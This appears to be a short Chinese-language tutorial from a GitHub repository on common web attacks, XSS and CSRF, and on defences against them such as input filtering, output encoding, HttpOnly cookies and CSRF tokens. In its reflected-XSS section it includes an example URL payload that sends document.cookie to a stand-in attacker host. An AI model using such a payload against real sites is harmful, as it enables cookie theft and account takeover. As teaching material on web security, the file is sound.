Skip to content

Latest commit

 

History

History
34 lines (21 loc) · 2.17 KB

常见网络攻击.md

File metadata and controls

34 lines (21 loc) · 2.17 KB

常见网络攻击

XSS

XSS全称跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表CSS混淆,改称为XSS,通过向某网站写入js脚本来实现攻击.

  1. 非持久型攻击

攻击者找到漏洞地址,通过设置一个url,如http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,只要受攻击者点开链接,就会执行脚本,获取受攻击者的cookie,发送给攻击者.此时受害者只有一人,

  1. 持久型攻击

攻击者在类似博客的网站上,有输入框的地方,类似文章内容、评论区,注入js脚本,存储在服务器上,当其他用户看到这篇博客的时候,自动执行js脚本,实现攻击.这时受害者是很多人.

保护

  1. 过滤用户的输入

不要相信用户的任何输入,一定要在服务器端对用户的输入进行过滤,将<> "&等转换后存储,最终展示时就是一段文本,而不是可执行的代码.主要思路就是将容易导致XSS攻击的边角字符替换成全角字符

  1. 对不可信输出编码

不能相信用户的任何输入,将这些内容输出到页面时,先进行转义,编码,再输出在页面上.

  1. 安全cookie

服务端将敏感的cookie设置为HttpOnly,js就获取不到这部分cookie了,而浏览器还可以正常使用,需要使用js操作的cookie就不予设置.这样就保证了cookie的安全与正常应用.

CSRF

CSRF,全称跨站请求伪造(Cross-Site Request Forgery),攻击者伪造好要攻击的网站的表单或a标签get请求,在用户登录了正常网站A后,在未退出的情况下,访问了伪造的网站B,误向网站A发送正常的请求,由于该请求从用户的浏览器向网站A发出,所以会携带上网站A的cookie,网站A会以为是正常的请求,从而实现攻击,造成用户的损失.

保护

  1. 检查Referer

检查请求头中的来源网站,保证请求来自于可信的网站,但Referer可以被伪造

  1. 设置csrf-token

每次访问页面时,服务器会生成一个随机的token值,并设置过期时间,之后的表单提交等请求需带上该token值,在服务器进行比较.请求过的token值就会失效,下次请求再生成新的token值